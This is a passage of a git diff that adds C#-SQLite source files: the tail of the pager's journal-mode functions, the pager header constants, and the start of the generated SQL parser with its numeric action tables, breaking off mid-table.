PAGER_JOURNALMODE_PERSIST + ** PAGER_JOURNALMODE_OFF + ** PAGER_JOURNALMODE_MEMORY + ** + ** If the parameter is not _QUERY, then the journal_mode is set to the + ** value specified if the change is allowed. The change is disallowed + ** for the following reasons: + ** + ** * An in-memory database can only have its journal_mode set to _OFF + ** or _MEMORY. + ** + ** * The journal mode may not be changed while a transaction is active. + ** + ** The returned indicate the current (possibly updated) journal-mode. + */ + static int sqlite3PagerJournalMode( Pager pPager, int eMode ) + { + Debug.Assert( eMode == PAGER_JOURNALMODE_QUERY + || eMode == PAGER_JOURNALMODE_DELETE + || eMode == PAGER_JOURNALMODE_TRUNCATE + || eMode == PAGER_JOURNALMODE_PERSIST + || eMode == PAGER_JOURNALMODE_OFF + || eMode == PAGER_JOURNALMODE_MEMORY ); + Debug.Assert( PAGER_JOURNALMODE_QUERY < 0 ); + if ( eMode >= 0 + && ( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + || eMode == PAGER_JOURNALMODE_MEMORY + || eMode == PAGER_JOURNALMODE_OFF ) + && !pPager.dbModified + && ( !isOpen( pPager.jfd ) || 0 == pPager.journalOff ) + ) + { + if ( isOpen( pPager.jfd ) ) + { + sqlite3OsClose( pPager.jfd ); + } + pPager.journalMode = (u8)eMode; + } + return (int)pPager.journalMode; + } + + /* + ** Get/set the size-limit used for persistent journal files. + ** + ** Setting the size limit to -1 means no limit is enforced. + ** An attempt to set a limit smaller than -1 is a no-op. + */ + static i64 sqlite3PagerJournalSizeLimit( Pager pPager, i64 iLimit ) + { + if ( iLimit >= -1 ) + { + pPager.journalSizeLimit = iLimit; + } + return pPager.journalSizeLimit; + } + + /* + ** Return a pointer to the pPager.pBackup variable. The backup module + ** in backup.c maintains the content of this variable. This module + ** uses it opaquely as an argument to sqlite3BackupRestart() and + ** sqlite3BackupUpdate() only. + */ + static sqlite3_backup sqlite3PagerBackupPtr( Pager pPager ) + { + return pPager.pBackup; + } +#endif // * SQLITE_OMIT_DISKIO */ + } +} diff --git a/SQLite/src/pager_h.cs b/SQLite/src/pager_h.cs new file mode 100644 index 0000000..b938645 --- /dev/null +++ b/SQLite/src/pager_h.cs @@ -0,0 +1,190 @@ +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the sqlite page cache + ** subsystem. The page cache subsystem reads and writes a file a page + ** at a time and provides a journal for rollback. + ** + ** @(#) $Id: pager.h,v 1.104 2009/07/24 19:01:19 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + //#if !_PAGER_H_ + //#define _PAGER_H_ + + /* + ** Default maximum size for persistent journal files. A negative + ** value means no limit. This value may be overridden using the + ** sqlite3PagerJournalSizeLimit() API. See also "PRAGMA journal_size_limit". + */ +#if !SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT + const int SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT = -1;//#define SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT -1 +#endif + + /* +** The type used to represent a page number. The first page in a file +** is called page 1. 0 is used to represent "not a page". +*/ + //typedef u32 Pgno; + + /* + ** Each open file is managed by a separate instance of the "Pager" structure. + */ + //typedef struct Pager Pager; + + /* + ** Handle type for pages. + */ + //typedef struct PgHdr DbPage; + + /* + ** Page number PAGER_MJ_PGNO is never used in an SQLite database (it is + ** reserved for working around a windows/posix incompatibility). It is + ** used in the journal to signify that the remainder of the journal file + ** is devoted to storing a master journal name - there are no more pages to + ** roll back. See comments for function writeMasterJournal() in pager.c + ** for details. + */ + //#define PAGER_MJ_PGNO(x) ((Pgno)((PENDING_BYTE/((x)->pageSize))+1)) + static Pgno PAGER_MJ_PGNO( Pager x ) { return ( (Pgno)( ( PENDING_BYTE / ( ( x ).pageSize ) ) + 1 ) ); } + /* + ** Allowed values for the flags parameter to sqlite3PagerOpen(). + ** + ** NOTE: These values must match the corresponding BTREE_ values in btree.h. + */ + //#define PAGER_OMIT_JOURNAL 0x0001 /* Do not use a rollback journal */ + //#define PAGER_NO_READLOCK 0x0002 /* Omit readlocks on readonly files */ + const int PAGER_OMIT_JOURNAL = 0x0001; /* Do not use a rollback journal */ + const int PAGER_NO_READLOCK = 0x0002; /* Omit readlocks on readonly files */ + + /* + ** Valid values for the second argument to sqlite3PagerLockingMode(). + */ + //#define PAGER_LOCKINGMODE_QUERY -1 + //#define PAGER_LOCKINGMODE_NORMAL 0 + //#define PAGER_LOCKINGMODE_EXCLUSIVE 1 + static int PAGER_LOCKINGMODE_QUERY = -1; + static int PAGER_LOCKINGMODE_NORMAL = 0; + static int PAGER_LOCKINGMODE_EXCLUSIVE = 1; + + /* + ** Valid values for the second argument to sqlite3PagerJournalMode(). + */ + //#define PAGER_JOURNALMODE_QUERY -1 + //#define PAGER_JOURNALMODE_DELETE 0 /* Commit by deleting journal file */ + //#define PAGER_JOURNALMODE_PERSIST 1 /* Commit by zeroing journal header */ + //#define PAGER_JOURNALMODE_OFF 2 /* Journal omitted. */ + //#define PAGER_JOURNALMODE_TRUNCATE 3 /* Commit by truncating journal */ + //#define PAGER_JOURNALMODE_MEMORY 4 /* In-memory journal file */ + const int PAGER_JOURNALMODE_QUERY = -1; + const int PAGER_JOURNALMODE_DELETE = 0; /* Commit by deleting journal file */ + const int PAGER_JOURNALMODE_PERSIST = 1; /* Commit by zeroing journal header */ + const int PAGER_JOURNALMODE_OFF = 2; /* Journal omitted. */ + const int PAGER_JOURNALMODE_TRUNCATE = 3;/* Commit by truncating journal */ + const int PAGER_JOURNALMODE_MEMORY = 4;/* In-memory journal file */ + + /* + ** The remainder of this file contains the declarations of the functions + ** that make up the Pager sub-system API. See source code comments for + ** a detailed description of each routine. + */ + /* Open and close a Pager connection. */ + //int sqlite3PagerOpen( + // sqlite3_vfs*, + // Pager **ppPager, + // const char*, + // int, + // int, + // int, + //// void(*)(DbPage*) + //); + //int sqlite3PagerClose(Pager *pPager); + //int sqlite3PagerReadFileheader(Pager*, int, unsigned char*); + + /* Functions used to configure a Pager object. */ + //void sqlite3PagerSetBusyhandler(Pager*, int(*)(void *), void *); + //int sqlite3PagerSetPagesize(Pager*, u16*, int); + //int sqlite3PagerMaxPageCount(Pager*, int); + //void sqlite3PagerSetCachesize(Pager*, int); + //void sqlite3PagerSetSafetyLevel(Pager*,int,int); + //int sqlite3PagerLockingMode(Pager *, int); + //int sqlite3PagerJournalMode(Pager *, int); + //i64 sqlite3PagerJournalSizeLimit(Pager *, i64); + //sqlite3_backup **sqlite3PagerBackupPtr(Pager*); + + /* Functions used to obtain and release page references. */ + //int sqlite3PagerAcquire(Pager *pPager, Pgno pgno, DbPage **ppPage, int clrFlag); + //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) + //DbPage *sqlite3PagerLookup(Pager *pPager, Pgno pgno); + //void sqlite3PagerRef(DbPage*); + //void sqlite3PagerUnref(DbPage*); + + /* Operations on page references. */ + //int sqlite3PagerWrite(DbPage*); + //void sqlite3PagerDontWrite(DbPage*); + //int sqlite3PagerMovepage(Pager*,DbPage*,Pgno,int); + //int sqlite3PagerPageRefcount(DbPage*); + //void *sqlite3PagerGetData(DbPage *); + //void *sqlite3PagerGetExtra(DbPage *); + + /* Functions used to manage pager transactions and savepoints. */ + //int sqlite3PagerPagecount(Pager*, int*); + //int sqlite3PagerBegin(Pager*, int exFlag, int); + //int sqlite3PagerCommitPhaseOne(Pager*,const char *zMaster, int); + //int sqlite3PagerSync(Pager *pPager); + //int sqlite3PagerCommitPhaseTwo(Pager*); + //int sqlite3PagerRollback(Pager*); + //int sqlite3PagerOpenSavepoint(Pager *pPager, int n); + //int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint); + //int sqlite3PagerSharedLock(Pager *pPager); + + /* Functions used to query pager state and configuration. */ + //u8 sqlite3PagerIsreadonly(Pager*); + //int sqlite3PagerRefcount(Pager*); + //const char *sqlite3PagerFilename(Pager*); + //const sqlite3_vfs *sqlite3PagerVfs(Pager*); + //sqlite3_file *sqlite3PagerFile(Pager*); + //const char *sqlite3PagerJournalname(Pager*); + //int sqlite3PagerNosync(Pager*); + //void *sqlite3PagerTempSpace(Pager*); + //int sqlite3PagerIsMemdb(Pager*); + + /* Functions used to truncate the database file. */ + //void sqlite3PagerTruncateImage(Pager*,Pgno); + + /* Functions to support testing and debugging. */ + //#if !NDEBUG || SQLITE_TEST + // Pgno sqlite3PagerPagenumber(DbPage*); + // int sqlite3PagerIswriteable(DbPage*); + //#endif + //#if SQLITE_TEST + // int *sqlite3PagerStats(Pager*); + // void sqlite3PagerRefdump(Pager*); + // void disable_simulated_io_errors(void); + // void enable_simulated_io_errors(void); + //#else + //# define disable_simulated_io_errors() + //# define enable_simulated_io_errors() + //#endif + } +} diff --git a/SQLite/src/parse_c.cs b/SQLite/src/parse_c.cs new file mode 100644 index 0000000..3801146 --- /dev/null +++ b/SQLite/src/parse_c.cs @@ -0,0 +1,3999 @@ +#define YYFALLBACK +#define YYWILDCARD + +using System; +using System.Diagnostics; +using System.IO; +using System.Text; + +using u8 = System.Byte; + + +using YYCODETYPE = System.Int32; +using YYACTIONTYPE = System.Int32; + +namespace CS_SQLite3 +{ + using sqlite3ParserTOKENTYPE = CSSQLite.Token; + + public partial class CSSQLite + { + /* + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + /* Driver template for the LEMON parser generator. + ** The author disclaims copyright to this source code. + ** + ** This version of "lempar.c" is modified, slightly, for use by SQLite. + ** The only modifications are the addition of a couple of NEVER() + ** macros to disable tests that are needed in the case of a general + ** LALR(1) grammar but which are always false in the + ** specific grammar used by SQLite. + */ + /* First off, code is included that follows the "include" declaration + ** in the input grammar file. */ + //#include + //#line 53 "parse.y" + + //#include "sqliteInt.h" + /* + ** Disable all error recovery processing in the parser push-down + ** automaton. + */ + //#define YYNOERRORRECOVERY 1 + const int YYNOERRORRECOVERY = 1; + + /* + ** Make yytestcase() the same as testcase() + */ + //#define yytestcase(X) testcase(X) + static void yytestcase(T X) { testcase(X); } + + /* + ** An instance of this structure holds information about the + ** LIMIT clause of a SELECT statement. + */ + public struct LimitVal + { + public Expr pLimit; /* The LIMIT expression. NULL if there is no limit */ + public Expr pOffset; /* The OFFSET expression. NULL if there is none */ + }; + + /* + ** An instance of this structure is used to store the LIKE, + ** GLOB, NOT LIKE, and NOT GLOB operators. + */ + public struct LikeOp + { + public Token eOperator; /* "like" or "glob" or "regexp" */ + public bool not; /* True if the NOT keyword is present */ + }; + + /* + ** An instance of the following structure describes the event of a + ** TRIGGER. "a" is the event type, one of TK_UPDATE, TK_INSERT, + ** TK_DELETE, or TK_INSTEAD. If the event is of the form + ** + ** UPDATE ON (a,b,c) + ** + ** Then the "b" IdList records the list "a,b,c". + */ +#if !SQLITE_OMIT_TRIGGER + public struct TrigEvent { public int a; public IdList b; }; +#endif + /* +** An instance of this structure holds the ATTACH key and the key type. +*/ + public struct AttachKey { public int type; public Token key; }; + + //#line 723 "parse.y" + + /* This is a utility routine used to set the ExprSpan.zStart and + ** ExprSpan.zEnd values of pOut so that the span covers the complete + ** range of text beginning with pStart and going to the end of pEnd. + */ + static void spanSet(ExprSpan pOut, Token pStart, Token pEnd) + { + pOut.zStart = pStart.z; + pOut.zEnd = pEnd.z.Substring(pEnd.n); + } + + /* Construct a new Expr object from a single identifier. Use the + ** new Expr to populate pOut. Set the span of pOut to be the identifier + ** that created the expression. + */ + static void spanExpr(ExprSpan pOut, Parse pParse, int op, Token pValue) + { + pOut.pExpr = sqlite3PExpr(pParse, op, 0, 0, pValue); + pOut.zStart = pValue.z; + pOut.zEnd = pValue.z.Substring(pValue.n); + } + //#line 818 "parse.y" + + /* This routine constructs a binary expression node out of two ExprSpan + ** objects and uses the result to populate a new ExprSpan object. + */ + static void spanBinaryExpr( + ExprSpan pOut, /* Write the result here */ + Parse pParse, /* The parsing context. Errors accumulate here */ + int op, /* The binary operation */ + ExprSpan pLeft, /* The left operand */ + ExprSpan pRight /* The right operand */ + ) + { + pOut.pExpr = sqlite3PExpr(pParse, op, pLeft.pExpr, pRight.pExpr, 0); + pOut.zStart = pLeft.zStart; + pOut.zEnd = pRight.zEnd; + } + //#line 870 "parse.y" + + /* Construct an expression node for a unary postfix operator + */ + static void spanUnaryPostfix( + ExprSpan pOut, /* Write the new expression node here */ + Parse pParse, /* Parsing context to record errors */ + int op, /* The operator */ + ExprSpan pOperand, /* The operand */ + Token pPostOp /* The operand token for setting the span */ + ) + { + pOut.pExpr = sqlite3PExpr(pParse, op, pOperand.pExpr, 0, 0); + pOut.zStart = pOperand.zStart; + pOut.zEnd = pPostOp.z.Substring(pPostOp.n); + } + //#line 892 "parse.y" + + /* Construct an expression node for a unary prefix operator + */ + static void spanUnaryPrefix( + ExprSpan pOut, /* Write the new expression node here */ + Parse pParse, /* Parsing context to record errors */ + int op, /* The operator */ + ExprSpan pOperand, /* The operand */ + Token pPreOp /* The operand token for setting the span */ + ) + { + pOut.pExpr = sqlite3PExpr(pParse, op, pOperand.pExpr, 0, 0); + pOut.zStart = pPreOp.z; + pOut.zEnd = pOperand.zEnd; + } + //#line 129 "parse.c" + /* Next is all token values, in a form suitable for use by makeheaders. + ** This section will be null unless lemon is run with the -m switch. + */ + /* + ** These constants (all generated automatically by the parser generator) + ** specify the various kinds of tokens (terminals) that the parser + ** understands. + ** + ** Each symbol here is a terminal symbol in the grammar. + */ + /* Make sure the INTERFACE macro is defined. + */ +#if !INTERFACE + //# define INTERFACE 1 +#endif + /* The next thing included is series of defines which control +** various aspects of the generated parser. +** YYCODETYPE is the data type used for storing terminal +** and nonterminal numbers. "unsigned char" is +** used if there are fewer than 250 terminals +** and nonterminals. "int" is used otherwise. +** YYNOCODE is a number of type YYCODETYPE which corresponds +** to no legal terminal or nonterminal number. This +** number is used to fill in empty slots of the hash +** table. +** YYFALLBACK If defined, this indicates that one or more tokens +** have fall-back values which should be used if the +** original value of the token will not parse. +** YYACTIONTYPE is the data type used for storing terminal +** and nonterminal numbers. "unsigned char" is +** used if there are fewer than 250 rules and +** states combined. "int" is used otherwise. +** sqlite3ParserTOKENTYPE is the data type used for minor tokens given +** directly to the parser from the tokenizer. +** YYMINORTYPE is the data type used for all minor tokens. +** This is typically a union of many types, one of +** which is sqlite3ParserTOKENTYPE. The entry in the union +** for base tokens is called "yy0". +** YYSTACKDEPTH is the maximum depth of the parser's stack. If +** zero the stack is dynamically sized using realloc() +** sqlite3ParserARG_SDECL A static variable declaration for the %extra_argument +** sqlite3ParserARG_PDECL A parameter declaration for the %extra_argument +** sqlite3ParserARG_STORE Code to store %extra_argument into yypParser +** sqlite3ParserARG_FETCH Code to extract %extra_argument from yypParser +** YYNSTATE the combined number of states. +** YYNRULE the number of rules in the grammar +** YYERRORSYMBOL is the code number of the error symbol. If not +** defined, then do no error processing. +*/ + //#define YYCODETYPE unsigned short char + const int YYNOCODE = 254; + //#define YYACTIONTYPE unsigned short int + const int YYWILDCARD = 65; + //#define sqlite3ParserTOKENTYPE Token + public class YYMINORTYPE + { + public int yyinit; + public sqlite3ParserTOKENTYPE yy0 = new sqlite3ParserTOKENTYPE(); + public Select yy3; + public ExprList yy14; + public SrcList yy65; + public LikeOp yy96; + public Expr yy132; + public u8 yy186; + public int yy328; + public ExprSpan yy346 = new ExprSpan(); +#if !SQLITE_OMIT_TRIGGER + public TrigEvent yy378; +#endif + public IdList yy408; + public struct _yy429 { public int value; public int mask;}public _yy429 yy429; +#if !SQLITE_OMIT_TRIGGER + public TriggerStep yy473; +#endif + public LimitVal yy476; + } + +#if !YYSTACKDEPTH + const int YYSTACKDEPTH = 100; +#endif + //#define sqlite3ParserARG_SDECL Parse pParse; + //#define sqlite3ParserARG_PDECL ,Parse pParse + //#define sqlite3ParserARG_FETCH Parse pParse = yypParser.pParse + //#define sqlite3ParserARG_STORE yypParser.pParse = pParse + const int YYNSTATE = 629; + const int YYNRULE = 329; + //#define YYFALLBACK + const int YY_NO_ACTION = (YYNSTATE + YYNRULE + 2); + const int YY_ACCEPT_ACTION = (YYNSTATE + YYNRULE + 1); + const int YY_ERROR_ACTION = (YYNSTATE + YYNRULE); + + /* The yyzerominor constant is used to initialize instances of + ** YYMINORTYPE objects to zero. */ + YYMINORTYPE yyzerominor = new YYMINORTYPE();//static const YYMINORTYPE yyzerominor = { 0 }; + + /* Define the yytestcase() macro to be a no-op if is not already defined + ** otherwise. + ** + ** Applications can choose to define yytestcase() in the %include section + ** to a macro that can assist in verifying code coverage. For production + ** code the yytestcase() macro should be turned off. But it is useful + ** for testing. + */ + //#if !yytestcase + //# define yytestcase(X) + //#endif + + /* Next are the tables used to determine what action to take based on the + ** current state and lookahead token. These tables are used to implement + ** functions that take a state number and lookahead value and return an + ** action integer. + ** + ** Suppose the action integer is N. Then the action is determined as + ** follows + ** + ** 0 <= N < YYNSTATE Shift N. That is, push the lookahead + ** token onto the stack and goto state N. + ** + ** YYNSTATE <= N < YYNSTATE+YYNRULE Reduce by rule N-YYNSTATE. + ** + ** N == YYNSTATE+YYNRULE A syntax error has occurred. + ** + ** N == YYNSTATE+YYNRULE+1 The parser accepts its input. + ** + ** N == YYNSTATE+YYNRULE+2 No such action. Denotes unused + ** slots in the yy_action[] table. + ** + ** The action table is constructed as a single large table named yy_action[]. + ** Given state S and lookahead X, the action is computed as + ** + ** yy_action[ yy_shift_ofst[S] + X ] + ** + ** If the index value yy_shift_ofst[S]+X is out of range or if the value + ** yy_lookahead[yy_shift_ofst[S]+X] is not equal to X or if yy_shift_ofst[S] + ** is equal to YY_SHIFT_USE_DFLT, it means that the action is not in the table + ** and that yy_default[S] should be used instead. + ** + ** The formula above is for computing the action when the lookahead is + ** a terminal symbol. If the lookahead is a non-terminal (as occurs after + ** a reduce action) then the yy_reduce_ofst[] array is used in place of + ** the yy_shift_ofst[] array and YY_REDUCE_USE_DFLT is used in place of + ** YY_SHIFT_USE_DFLT. + ** + ** The following are the tables generated in this section: + ** + ** yy_action[] A single table containing all actions. + ** yy_lookahead[] A table containing the lookahead for each entry in + ** yy_action. Used to detect hash collisions. + ** yy_shift_ofst[] For each state, the offset into yy_action for + ** shifting terminals. + ** yy_reduce_ofst[] For each state, the offset into yy_action for + ** shifting non-terminals after a reduce. + ** yy_default[] Default action for each state. + */ + static YYACTIONTYPE[] yy_action = new YYACTIONTYPE[]{ +/* 0 */ 309, 959, 178, 628, 2, 153, 216, 448, 24, 24, +/* 10 */ 24, 24, 497, 26, 26, 26, 26, 27, 27, 28, +/* 20 */ 28, 28, 29, 218, 422, 423, 214, 422, 423, 455, +/* 30 */ 461, 31, 26, 26, 26, 26, 27, 27, 28, 28, +/* 40 */ 28, 29, 218, 30, 492, 32, 137, 23, 22, 315, +/* 50 */ 465, 466, 462, 462, 25, 25, 24, 24, 24, 24, +/* 60 */ 445, 26, 26, 26, 26, 27, 27, 28, 28, 28, +/* 70 */ 29, 218, 309, 218, 318, 448, 521, 499, 45, 26, +/* 80 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, +/* 90 */ 422, 423, 425, 426, 159, 425, 426, 366, 369, 370, +/* 100 */ 318, 455, 461, 394, 523, 21, 188, 504, 371, 27, +/* 110 */ 27, 28, 28, 28, 29, 218, 422, 423, 424, 23, +/* 120 */ 22, 315, 465, 466, 462, 462, 25, 25, 24, 24, +/* 130 */ 24, 24, 564, 26, 26, 26, 26, 27, 27, 28, +/* 140 */ 28, 28, 29, 218, 309, 230, 513, 138, 477, 220, +/* 150 */ 557, 148, 135, 260, 364, 265, 365, 156, 425, 426, +/* 160 */ 245, 610, 337, 30, 269, 32, 137, 448, 608, 609, +/* 170 */ 233, 230, 499, 455, 461, 57, 515, 334, 135, 260, +/* 180 */ 364, 265, 365, 156, 425, 426, 444, 78, 417, 414, +/* 190 */ 269, 23, 22, 315, 465, 466, 462, 462, 25, 25, +/* 200 */ 24, 24, 24, 24, 348, 26, 26, 26, 26, 27, +/* 210 */ 27, 28, 28, 28, 29, 218, 309, 216, 543, 556, +/* 220 */ 486, 130, 498, 607, 30, 337, 32, 137, 351, 396, +/* 230 */ 438, 63, 337, 361, 424, 448, 487, 337, 424, 544, +/* 240 */ 334, 217, 195, 606, 605, 455, 461, 334, 18, 444, +/* 250 */ 85, 488, 334, 347, 192, 565, 444, 78, 316, 472, +/* 260 */ 473, 444, 85, 23, 22, 315, 465, 466, 462, 462, +/* 270 */ 25, 25, 24, 24, 24, 24, 445, 26, 26, 26, +/* 280 */ 26, 27, 27, 28, 28, 28, 29, 218, 309, 353, +/* 290 */ 223, 320, 607, 193, 238, 337, 481, 16, 351, 185, +/* 300 */ 330, 419, 222, 350, 604, 219, 215, 424, 112, 337, +/* 310 */ 334, 157, 606, 408, 213, 563, 538, 455, 461, 444, +/* 320 */ 79, 219, 562, 524, 334, 576, 522, 629, 417, 414, +/* 330 */ 450, 581, 441, 444, 78, 23, 22, 315, 465, 466, +/* 340 */ 462, 462, 25, 25, 24, 24, 24, 24, 445, 26, +/* 350 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, +/* 360 */ 309, 452, 452, 452, 159, 399, 311, 366, 369, 370, +/* 370 */ 337, 251, 404, 407, 219, 355, 556, 4, 371, 422, +/* 380 */ 423, 397, 286, 285, 244, 334, 540, 566, 63, 455, +/* 390 */ 461, 424, 216, 478, 444, 93, 28, 28, 28, 29, +/* 400 */ 218, 413, 477, 220, 578, 40, 545, 23, 22, 315, +/* 410 */ 465, 466, 462, 462, 25, 25, 24, 24, 24, 24, +/* 420 */ 582, 26, 26, 26, 26, 27, 27, 28, 28, 28, +/* 430 */ 29, 218, 309, 546, 337, 30, 517, 32, 137, 378, +/* 440 */ 326, 337, 874, 153, 194, 448, 1, 425, 426, 334, +/* 450 */ 422, 423, 422, 423, 29, 218, 334, 613, 444, 71, +/* 460 */ 210, 455, 461, 66, 581, 444, 93, 422, 423, 626, +/* 470 */ 949, 303, 949, 500, 479, 555, 202, 43, 445, 23, +/* 480 */ 22, 315, 465, 466, 462, 462, 25, 25, 24, 24, +/* 490 */ 24, 24, 436, 26, 26, 26, 26, 27, 27, 28, +/* 500 */ 28, 28, 29, 218, 309, 187, 211, 360, 520, 440, +/* 510 */ 246, 327, 622, 448, 397, 286, 285, 551, 425, 426, +/* 520 */ 425, 426, 334, 159, 337, 216, 366, 369, 370, 494, +/* 530 */ 556, 444, 9, 455, 461, 425, 426, 371, 495, 334, +/* 540 */ 445, 618, 63, 504, 198, 424, 501, 449, 444, 72, +/* 550 */ 474, 23, 22, 315, 465, 466, 462, 462, 25, 25, +/* 560 */ 24, 24, 24, 24, 395, 26, 26, 26, 26, 27, +/* 570 */ 27, 28, 28, 28, 29, 218, 309, 486, 445, 337, +/* 580 */ 537, 60, 224, 479, 343, 202, 398, 337, 439, 554, +/* 590 */ 199, 140, 337, 487, 334, 526, 527, 551, 516, 508, +/* 600 */ 456, 457, 334, 444, 67, 455, 461, 334, 488, 476, +/* 610 */ 528, 444, 76, 39, 424, 41, 444, 97, 579, 527, +/* 620 */ 529, 459, 460, 23, 22, 315, 465, 466, 462, 462, +/* 630 */ 25, 25, 24, 24, 24, 24, 337, 26, 26, 26, +/* 640 */ 26, 27, 27, 28, 28, 28, 29, 218, 309, 337, +/* 650 */ 458, 334, 272, 621, 307, 337, 312, 337, 374, 64, +/* 660 */ 444, 96, 317, 448, 334, 342, 472, 473, 469, 337, +/* 670 */ 334, 508, 334, 444, 101, 359, 252, 455, 461, 444, +/* 680 */ 99, 444, 104, 358, 334, 345, 424, 340, 157, 468, +/* 690 */ 468, 424, 493, 444, 105, 23, 22, 315, 465, 466, +/* 700 */ 462, 462, 25, 25, 24, 24, 24, 24, 337, 26, +/* 710 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, +/* 720 */ 309, 337, 181, 334, 499, 56, 139, 337, 219, 268, +/* 730 */ 384, 448, 444, 129, 382, 387, 334, 168, 337, 389, +/* 740 */ 508, 424, 334, 311, 424, 444, 131, 496, 269, 455, +/* 750 */ 461, 444, 59, 334, 424, 424, 391, 340, 8, 468, +/* 760 */ 468, 263, 444, 102, 390, 290, 321, 23, 22, 315, +/* 770 */ 465, 466, 462, 462, 25, 25, 24, 24, 24, 24, +/* 780 */ 337, 26, 26, 26, 26, 27, 27, 28, 28, 28, +/* 790 */ 29, 218, 309, 337, 138, 334, 416, 2, 268, 337, +/* 800 */ 389, 337, 443, 325, 444, 77, 442, 293, 334, 291, +/* 810 */ 7, 482, 337, 424, 334, 424, 334, 444, 100, 499, +/* 820 */ 339, 455, 461, 444, 68, 444, 98, 334, 254, 504, +/* 830 */ 232, 626, 948, 504, 948, 231, 444, 132, 47, 23, +/* 840 */ 22, 315, 465, 466, 462, 462, 25, 25, 24, 24, +/* 850 */ 24, 24, 337, 26, 26, 26, 26, 27, 27, 28, +/* 860 */ 28, 28, 29, 218, 309, 337, 280, 334, 256, 538, +/* 870 */ 362, 337, 258, 268, 622, 549, 444, 133, 203, 140, +/* 880 */ 334, 424, 548, 337, 180, 158, 334, 292, 424, 444, +/* 890 */ 134, 287, 552, 455, 461, 444, 69, 443, 334, 463, +/* 900 */ 340, 442, 468, 468, 427, 428, 429, 444, 80, 281, +/* 910 */ 322, 23, 33, 315, 465, 466, 462, 462, 25, 25, +/* 920 */ 24, 24, 24, 24, 337, 26, 26, 26, 26, 27, +/* 930 */ 27, 28, 28, 28, 29, 218, 309, 337, 406, 334, +/* 940 */ 212, 268, 550, 337, 268, 389, 329, 177, 444, 81, +/* 950 */ 542, 541, 334, 475, 475, 337, 424, 216, 334, 424, +/* 960 */ 424, 444, 70, 535, 368, 455, 461, 444, 82, 405, +/* 970 */ 334, 261, 392, 340, 445, 468, 468, 587, 323, 444, +/* 980 */ 83, 324, 262, 288, 22, 315, 465, 466, 462, 462, +/* 990 */ 25, 25, 24, 24, 24, 24, 337, 26, 26, 26, +/* 1000 */ 26, 27, 27, 28, 28, 28, 29, 218, 309, 337, +/* 1010 */ 211, 334, 294, 356, 340, 337, 468, 468, 532, 533, +/* 1020 */ 444, 84, 403, 144, 334, 574, 600, 337, 424, 573, +/* 1030 */ 334, 337, 420, 444, 86, 253, 234, 455, 461, 444, +/* 1040 */ 87, 430, 334, 383, 445, 431, 334, 274, 196, 331, +/* 1050 */ 424, 444, 88, 432, 145, 444, 73, 315, 465, 466, +/* 1060 */ 462, 462, 25, 25, 24, 24, 24, 24, 395, 26, +/* 1070 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, +/* 1080 */ 35, 344, 445, 3, 337, 394, 337, 333, 423, 278, +/* 1090 */ 388, 276, 280, 207, 147, 35, 344, 341, 3, 334, +/* 1100 */ 424, 334, 333, 423, 308, 623, 280, 424, 444, 74, +/* 1110 */ 444, 89, 341, 337, 6, 346, 338, 337, 421, 337, +/* 1120 */ 470, 424, 65, 332, 280, 481, 446, 445, 334, 247, +/* 1130 */ 346, 424, 334, 424, 334, 594, 280, 444, 90, 424, +/* 1140 */ 481, 444, 91, 444, 92, 38, 37, 625, 337, 410, +/* 1150 */ 47, 424, 237, 280, 36, 335, 336, 354, 248, 450, +/* 1160 */ 38, 37, 514, 334, 572, 381, 572, 596, 424, 36, +/* 1170 */ 335, 336, 444, 75, 450, 200, 506, 216, 154, 597, +/* 1180 */ 239, 240, 241, 146, 243, 249, 547, 593, 158, 433, +/* 1190 */ 452, 452, 452, 453, 454, 10, 598, 280, 20, 46, +/* 1200 */ 174, 412, 298, 337, 424, 452, 452, 452, 453, 454, +/* 1210 */ 10, 299, 424, 35, 344, 352, 3, 250, 334, 434, +/* 1220 */ 333, 423, 337, 172, 280, 581, 208, 444, 17, 171, +/* 1230 */ 341, 19, 173, 447, 424, 422, 423, 334, 337, 424, +/* 1240 */ 235, 280, 204, 205, 206, 42, 444, 94, 346, 435, +/* 1250 */ 136, 451, 221, 334, 308, 624, 424, 349, 481, 490, +/* 1260 */ 445, 152, 444, 95, 424, 424, 424, 236, 503, 491, +/* 1270 */ 507, 179, 424, 481, 424, 402, 295, 285, 38, 37, +/* 1280 */ 271, 310, 158, 424, 296, 424, 216, 36, 335, 336, +/* 1290 */ 509, 266, 450, 190, 191, 539, 267, 625, 558, 273, +/* 1300 */ 275, 48, 277, 522, 279, 424, 424, 450, 255, 409, +/* 1310 */ 424, 424, 257, 424, 424, 424, 284, 424, 386, 424, +/* 1320 */ 357, 584, 585, 452, 452, 452, 453, 454, 10, 259, +/* 1330 */ 393, 424, 289, 424, 592, 603, 424, 424, 452, 452, +/* 1340 */ 452, 297, 300, 301, 505, 424, 617, 424, 363, 424, +/* 1350 */ 424, 373, 577, 158, 158, 511, 424, 424, 424, 525, +/* 1360 */ 588, 424, 154, 589, 601, 54, 54, 620, 512, 306, +/* 1370 */ 319, 530, 531, 535, 264, 107, 228, 536, 534, 375, +/* 1380 */ 559, 304, 560, 561, 305, 227, 229, 553, 567, 161, +/* 1390 */ 162, 379, 377, 163, 51, 209, 569, 282, 164, 570, +/* 1400 */ 385, 143, 580, 116, 119, 183, 400, 590, 401, 121, +/* 1410 */ 122, 123, 124, 126, 599, 328, 614, 55, 58, 615, +/* 1420 */ 616, 619, 62, 418, 103, 226, 111, 176, 